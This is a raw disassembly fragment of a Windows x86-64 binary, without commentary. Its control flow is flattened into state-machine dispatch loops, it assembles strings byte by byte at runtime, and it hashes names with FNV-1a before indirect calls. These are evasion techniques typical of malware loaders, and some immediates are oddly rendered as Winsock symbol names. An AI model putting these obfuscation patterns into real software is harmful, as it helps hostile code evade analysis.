mov ebx, 0x9304b30f
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov r11d, 0xed3b0916
jmp 0x180069d60
movsxd rdi, r8d
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180069dc0
cmp ebx, 0xde9741a
jle 0x180069e10
cmp ebx, 0x4040a63f
jg 0x180069e99
cmp ebx, 0xde9741b
je 0x180069f62
cmp ebx, 0x23777f42
je 0x180069f79
cmp ebx, 0x34fd6d6d
jne 0x180069d60
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180069d60
cmp ebx, 0xb3b07733
jle 0x180069e50
cmp ebx, 0xc86312b3
jle 0x180069ecd
cmp ebx, 0xc86312b4
je 0x180069d41
cmp ebx, 0xcaf004ba
je 0x180069f83
cmp ebx, 0xdf0d33c4
jne 0x180069d60
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180069d60
cmp ebx, 0xfa416f8f
jle 0x180069f0e
cmp ebx, 0xfa416f90
je 0x180069fb0
cmp ebx, 0x45d558a
je 0x180069fc1
cmp ebx, 0xc942d64
jne 0x180069d60
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180069d60
cmp ebx, 0xa8588bcb
jle 0x180069f40
cmp ebx, 0xa8588bcc
je 0x180069fdb
cmp ebx, 0xa94a57ae
je 0x180069fec
cmp ebx, 0xb18d2356
jne 0x180069d60
mov ecx, dword [rbp + 0x150]
or ecx, 0x20
mov dword [rbp + 0x138], ecx
mov ebx, 0xfa416f90
jmp 0x180069d60
cmp ebx, 0x4040a640
je 0x180069ff6
cmp ebx, 0x494b1080
je 0x18006a000
cmp ebx, 0x6238ad6b
jne 0x180069d60
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x180069d60
cmp ebx, 0xb3b07734
je 0x18006a015
cmp ebx, 0xc46bd60d
jne 0x18006a070
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov ecx, dword [rbp + 0x128]
cmp ecx, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180069d60
cmp ebx, 0xec989665
je 0x18006a03c
cmp ebx, 0xed3b0916
jne 0x180069d60
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x180069d60
cmp ebx, 0x8051c795
je 0x18006a055
cmp ebx, 0x9304b30f
jne 0x180069d60
mov ebx, 0xc942d64
jmp 0x180069d60
mov ecx, dword [rbp + 0x128]
mov qword [rbp + 0x148], rcx
mov ebx, 0x8051c795
jmp 0x180069d60
mov ebx, 0xdf0d33c4
jmp 0x180069d60
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [rax + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180069d60
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x138]
jmp 0x180069d60
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x180069d60
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x150]
jmp 0x180069d60
mov ebx, 0x23777f42
jmp 0x180069d60
mov ebx, 0x6238ad6b
jmp 0x180069d60
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180069d60
mov rcx, qword [rbp + 0x140]
movsx ecx, byte [rcx]
mov dword [rbp + 0x150], ecx
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180069d60
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x180069d60
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov qword [rbp + 0x140], rcx
mov ebx, 0xb3b07734
jmp 0x180069d60
cmp ebx, 0xc5d9b945
jne 0x180069d60
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x100]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call rax
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x50
mov ecx, 0xee904620
jmp 0x180060a60
mov eax, dword [rbp + 0x168]
add al, 0x64
mov rcx, qword [rbp + 0x140]
mov byte [rcx], al
mov eax, 0xb055a5ab
nop dword [rax]
cmp eax, 0x35f6e6d2
je 0x18006a208
cmp eax, 0xb055a5ab
jne 0x18006a110
mov rax, qword [rbp + 0x140]
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a180
cmp ecx, 0x9684c146
jne 0x18006a140
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a140
mov ecx, dword [rbp + 0x148]
add cl, 0x75
mov byte [rax + 1], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a1e0
cmp ecx, 0x9684c146
jne 0x18006a1a0
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a1a0
mov ecx, dword [rbp + 0x148]
add cl, 0x6c
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x120], 0x65
mov eax, 0x35f6e6d2
jmp 0x18006a110
mov al, byte [rbp + 0x120]
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax]
cmp ecx, 0x8a31859a
je 0x18006a260
cmp ecx, 0x9684c146
jne 0x18006a220
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a220
mov ecx, dword [rbp + 0x148]
add al, cl
mov rcx, qword [rbp + 0x168]
mov byte [rcx], al
mov rax, qword [rbp + 0x168]
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop word [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a2d0
cmp ecx, 0x9684c146
jne 0x18006a290
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a290
mov ecx, dword [rbp + 0x148]
add cl, 0x46
mov byte [rax + 1], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a330
cmp ecx, 0x9684c146
jne 0x18006a2f0
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a2f0
mov ecx, dword [rbp + 0x148]
add cl, 0x69
mov byte [rax + 2], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a390
cmp ecx, 0x9684c146
jne 0x18006a350
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a350
mov ecx, dword [rbp + 0x148]
add cl, 0x6c
mov byte [rax + 3], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a3f0
cmp ecx, 0x9684c146
jne 0x18006a3b0
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a3b0
mov ecx, dword [rbp + 0x148]
add cl, 0x65
mov byte [rax + 4], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a450
cmp ecx, 0x9684c146
jne 0x18006a410
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a410
mov ecx, dword [rbp + 0x148]
add cl, 0x4e
mov byte [rax + 5], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a4b0
cmp ecx, 0x9684c146
jne 0x18006a470
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a470
mov ecx, dword [rbp + 0x148]
add cl, 0x61
mov byte [rax + 6], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a510
cmp ecx, 0x9684c146
jne 0x18006a4d0
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a4d0
mov ecx, dword [rbp + 0x148]
add cl, 0x6d
mov byte [rax + 7], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a570
cmp ecx, 0x9684c146
jne 0x18006a530
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a530
mov ecx, dword [rbp + 0x148]
add cl, 0x65
mov byte [rax + 8], cl
mov dword [rbp + 0x128], 0x50
mov ecx, 0x9684c146
nop dword [rax + rax]
cmp ecx, 0x8a31859a
je 0x18006a5d0
cmp ecx, 0x9684c146
jne 0x18006a590
movsxd rcx, dword [rbp + 0x128]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x148], ecx
mov ecx, 0x8a31859a
jmp 0x18006a590
mov ecx, dword [rbp + 0x148]
add cl, 0x41
mov byte [rax + 9], cl
mov byte [rax + 0xa], 0
sub rsp, 0x20
lea rcx, [rbp + 0x178]
call fcn.1800713c0
add rsp, 0x20
mov ebx, 0x9304b30f
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov r11d, 0xed3b0916
jmp 0x18006a640
movsxd rdi, r8d
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xec989664
jle 0x18006a6a0
cmp ebx, 0xde9741a
jle 0x18006a6f0
cmp ebx, 0x4040a63f
jg 0x18006a779
cmp ebx, 0xde9741b
je 0x18006a842
cmp ebx, 0x23777f42
je 0x18006a859
cmp ebx, 0x34fd6d6d
jne 0x18006a640
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x18006a640
cmp ebx, 0xb3b07733
jle 0x18006a730
cmp ebx, 0xc86312b3
jle 0x18006a7ad
cmp ebx, 0xc86312b4
je 0x18006a615
cmp ebx, 0xcaf004ba
je 0x18006a863
cmp ebx, 0xdf0d33c4
jne 0x18006a640
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x18006a640
cmp ebx, 0xfa416f8f
jle 0x18006a7ee
cmp ebx, 0xfa416f90
je 0x18006a890
cmp ebx, 0x45d558a
je 0x18006a8a1
cmp ebx, 0xc942d64
jne 0x18006a640
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x18006a640
cmp ebx, 0xa8588bcb
jle 0x18006a820
cmp ebx, 0xa8588bcc
je 0x18006a8bb
cmp ebx, 0xa94a57ae
je 0x18006a8cc
cmp ebx, 0xb18d2356
jne 0x18006a640
mov ecx, dword [rbp + 0x150]
or ecx, 0x20
mov dword [rbp + 0x138], ecx
mov ebx, 0xfa416f90
jmp 0x18006a640
cmp ebx, 0x4040a640
je 0x18006a8d6
cmp ebx, 0x494b1080
je 0x18006a8e0
cmp ebx, 0x6238ad6b
jne 0x18006a640
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x18006a640
cmp ebx, 0xb3b07734
je 0x18006a8f5
cmp ebx, 0xc46bd60d
jne 0x18006a950
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov ecx, dword [rbp + 0x128]
cmp ecx, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x18006a640
cmp ebx, 0xec989665
je 0x18006a91c
cmp ebx, 0xed3b0916
jne 0x18006a640
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x18006a640
cmp ebx, 0x8051c795
je 0x18006a935
cmp ebx, 0x9304b30f
jne 0x18006a640
mov ebx, 0xc942d64
jmp 0x18006a640
mov ecx, dword [rbp + 0x128]
mov qword [rbp + 0x148], rcx
mov ebx, 0x8051c795
jmp 0x18006a640
mov ebx, 0xdf0d33c4
jmp 0x18006a640
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [rax + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x18006a640
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x138]
jmp 0x18006a640
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x18006a640
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x150]
jmp 0x18006a640
mov ebx, 0x23777f42
jmp 0x18006a640
mov ebx, 0x6238ad6b
jmp 0x18006a640
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x18006a640
mov rcx, qword [rbp + 0x140]
movsx ecx, byte [rcx]
mov dword [rbp + 0x150], ecx
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x18006a640
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x18006a640
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov qword [rbp + 0x140], rcx
mov ebx, 0xb3b07734
jmp 0x18006a640
cmp ebx, 0xc5d9b945
jne 0x18006a640
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x58], rax
lea rax, [rbp + 0x590]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x60], rax
mov ecx, 0xa1f83a8c
jmp 0x180060a60
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
mov edx, 2
call fcn.1800a1a10
add rsp, 0x20
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x88]
mov ecx, 0xee757766
nop dword [rax]
cmp ecx, 0xa0eeffa3
je 0x18006aa01
cmp ecx, 0xee757766
jne 0x18006a9e0
mov dword [rbp + 0x140], 0x54
mov ecx, 0xa0eeffa3
jmp 0x18006a9e0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006aa31
cmp ecx, 0x157dd825
jne 0x18006aa10
mov dword [rbp + 0x168], 2
mov ecx, 0x17c2820a
jmp 0x18006aa10
mov ecx, dword [rbp + 0x168]
mov edx, dword [rbp + 0x140]
add dl, cl
mov byte [rax], dl
mov ecx, 0xee757766
nop word cs:[rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006aa71
cmp ecx, 0xee757766
jne 0x18006aa50
mov dword [rbp + 0x140], 0x65
mov ecx, 0xa0eeffa3
jmp 0x18006aa50
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006aaa1
cmp ecx, 0x157dd825
jne 0x18006aa80
mov dword [rbp + 0x168], 2
mov ecx, 0x17c2820a
jmp 0x18006aa80
mov ecx, dword [rbp + 0x168]
mov edx, dword [rbp + 0x140]
add dl, cl
mov byte [rax + 1], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006aae1
cmp ecx, 0xee757766
jne 0x18006aac0
mov dword [rbp + 0x140], WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006aac0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006ab11
cmp ecx, 0x157dd825
jne 0x18006aaf0
mov dword [rbp + 0x168], 2
mov ecx, 0x17c2820a
jmp 0x18006aaf0
mov ecx, dword [rbp + 0x168]
mov edx, dword [rbp + 0x140]
add dl, cl
mov byte [rax + 2], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006ab51
cmp ecx, 0xee757766
jne 0x18006ab30
mov dword [rbp + 0x140], WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006ab30
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006ab81
cmp ecx, 0x157dd825
jne 0x18006ab60
mov dword [rbp + 0x168], 2
mov ecx, 0x17c2820a
jmp 0x18006ab60
mov ecx, dword [rbp + 0x168]
mov edx, dword [rbp + 0x140]
add dl, cl
mov byte [rax + 3], dl
add rax, 4
mov qword [rbp + 0x140], rax
mov eax, 0xee757766
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xa0eeffa3
je 0x18006abcf
cmp eax, 0xee757766
jne 0x18006abb0
mov dword [rbp + 0x148], 0x69
mov eax, 0xa0eeffa3
jmp 0x18006abb0
mov eax, 0x157dd825
nop word cs:[rax + rax]
nop
cmp eax, 0x17c2820a
je 0x18006abff
cmp eax, 0x157dd825
jne 0x18006abe0
mov dword [rbp + 0x168], 2
mov eax, 0x17c2820a
jmp 0x18006abe0
mov eax, dword [rbp + 0x168]
mov ecx, dword [rbp + 0x148]
add cl, al
mov byte [rbp + 0x138], cl
mov eax, 0xf4ba5a64
nop dword [rax + rax]
cmp eax, 0xb157323c
je 0x18006accd
cmp eax, 0xf4ba5a64
jne 0x18006ac20
mov rax, qword [rbp + 0x140]
mov cl, byte [rbp + 0x138]
mov byte [rax], cl
mov rax, qword [rbp + 0x140]
add rax, 1
mov qword [rbp + 0x168], rax
mov eax, 0xee757766
nop dword [rax + rax]
cmp eax, 0xa0eeffa3
je 0x18006ac7f
cmp eax, 0xee757766
jne 0x18006ac60
mov dword [rbp + 0x128], WSAStartup
mov eax, 0xa0eeffa3
jmp 0x18006ac60
mov eax, 0x157dd825
nop word cs:[rax + rax]
nop
cmp eax, 0x17c2820a
je 0x18006acaf
cmp eax, 0x157dd825
jne 0x18006ac90
mov dword [rbp + 0x148], 2
mov eax, 0x17c2820a
jmp 0x18006ac90
mov eax, dword [rbp + 0x148]
mov ecx, dword [rbp + 0x128]
add cl, al
mov byte [rbp + 0x120], cl
mov eax, 0xb157323c
jmp 0x18006ac20
mov rax, qword [rbp + 0x168]
mov cl, byte [rbp + 0x120]
mov byte [rax], cl
mov rax, qword [rbp + 0x168]
mov ecx, 0xee757766
nop dword [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006ad11
cmp ecx, 0xee757766
jne 0x18006acf0
mov dword [rbp + 0x128], 0x61
mov ecx, 0xa0eeffa3
jmp 0x18006acf0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006ad41
cmp ecx, 0x157dd825
jne 0x18006ad20
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006ad20
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 1], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006ad81
cmp ecx, 0xee757766
jne 0x18006ad60
mov dword [rbp + 0x128], 0x74
mov ecx, 0xa0eeffa3
jmp 0x18006ad60
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006adb1
cmp ecx, 0x157dd825
jne 0x18006ad90
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006ad90
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 2], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006adf1
cmp ecx, 0xee757766
jne 0x18006add0
mov dword [rbp + 0x128], 0x65
mov ecx, 0xa0eeffa3
jmp 0x18006add0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006ae21
cmp ecx, 0x157dd825
jne 0x18006ae00
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006ae00
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 3], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006ae61
cmp ecx, 0xee757766
jne 0x18006ae40
mov dword [rbp + 0x128], 0x50
mov ecx, 0xa0eeffa3
jmp 0x18006ae40
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006ae91
cmp ecx, 0x157dd825
jne 0x18006ae70
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006ae70
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 4], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006aed1
cmp ecx, 0xee757766
jne 0x18006aeb0
mov dword [rbp + 0x128], WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006aeb0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006af01
cmp ecx, 0x157dd825
jne 0x18006aee0
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006aee0
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 5], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006af41
cmp ecx, 0xee757766
jne 0x18006af20
mov dword [rbp + 0x128], WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006af20
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006af71
cmp ecx, 0x157dd825
jne 0x18006af50
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006af50
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 6], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006afb1
cmp ecx, 0xee757766
jne 0x18006af90
mov dword [rbp + 0x128], 0x63
mov ecx, 0xa0eeffa3
jmp 0x18006af90
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006afe1
cmp ecx, 0x157dd825
jne 0x18006afc0
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006afc0
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 7], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006b021
cmp ecx, 0xee757766
jne 0x18006b000
mov dword [rbp + 0x128], 0x65
mov ecx, 0xa0eeffa3
jmp 0x18006b000
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006b051
cmp ecx, 0x157dd825
jne 0x18006b030
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006b030
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 8], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006b091
cmp ecx, 0xee757766
jne 0x18006b070
mov dword [rbp + 0x128], reloc.WS2_32.dll_WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006b070
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006b0c1
cmp ecx, 0x157dd825
jne 0x18006b0a0
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006b0a0
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 9], dl
mov ecx, 0xee757766
nop word [rax + rax]
cmp ecx, 0xa0eeffa3
je 0x18006b101
cmp ecx, 0xee757766
jne 0x18006b0e0
mov dword [rbp + 0x128], reloc.WS2_32.dll_WSAStartup
mov ecx, 0xa0eeffa3
jmp 0x18006b0e0
mov ecx, 0x157dd825
nop word cs:[rax + rax]
cmp ecx, 0x17c2820a
je 0x18006b131
cmp ecx, 0x157dd825
jne 0x18006b110
mov dword [rbp + 0x148], 2
mov ecx, 0x17c2820a
jmp 0x18006b110
mov ecx, dword [rbp + 0x148]
mov edx, dword [rbp + 0x128]
add dl, cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
mov rax, qword [rbp + 0x88]
mov ebx, 0xd7708f2b
mov ecx, 0xdca20ac6
jmp 0x18006b160
mov ebx, 0x57fdea33
nop
cmp ebx, 0x103835e4
jle 0x18006b1a0
cmp ebx, 0x76b67be6
jg 0x18006b1d0
cmp ebx, 0x103835e5
je 0x18006b159
cmp ebx, 0x57fdea33
jne 0x18006b2f2
mov ebx, 0x774832aa
mov rdx, qword [rbp + 0x140]
jmp 0x18006b160
cmp ebx, 0xd7708f2a
jg 0x18006b210
cmp ebx, 0xbd8c8123
je 0x18006b298
cmp ebx, 0xcb974f21
jne 0x18006b160
mov qword [rbp + 0x128], rax
mov ebx, 0x76b67be7
jmp 0x18006b160
cmp ebx, 0x76b67be7
je 0x18006b2a4
cmp ebx, 0x774832aa
jne 0x18006b160
mov qword [rbp + 0x168], rdx
mov rbx, qword [rbp + 0x168]
cmp rbx, 0x10
mov ebx, 0xcb974f21
cmovb ebx, ecx
jmp 0x18006b160
cmp ebx, 0xd7708f2b
je 0x18006b2bc
cmp ebx, 0xdca20ac6
jne 0x18006b160
mov rbx, qword [rbp + 0x168]
movsx edi, byte [rax + rbx]
mov esi, 0x5ba57312
nop dword [rax + rax]
cmp esi, 0x38601d5f
je 0x18006b2c6
cmp esi, 0x5ba57312
jne 0x18006b240
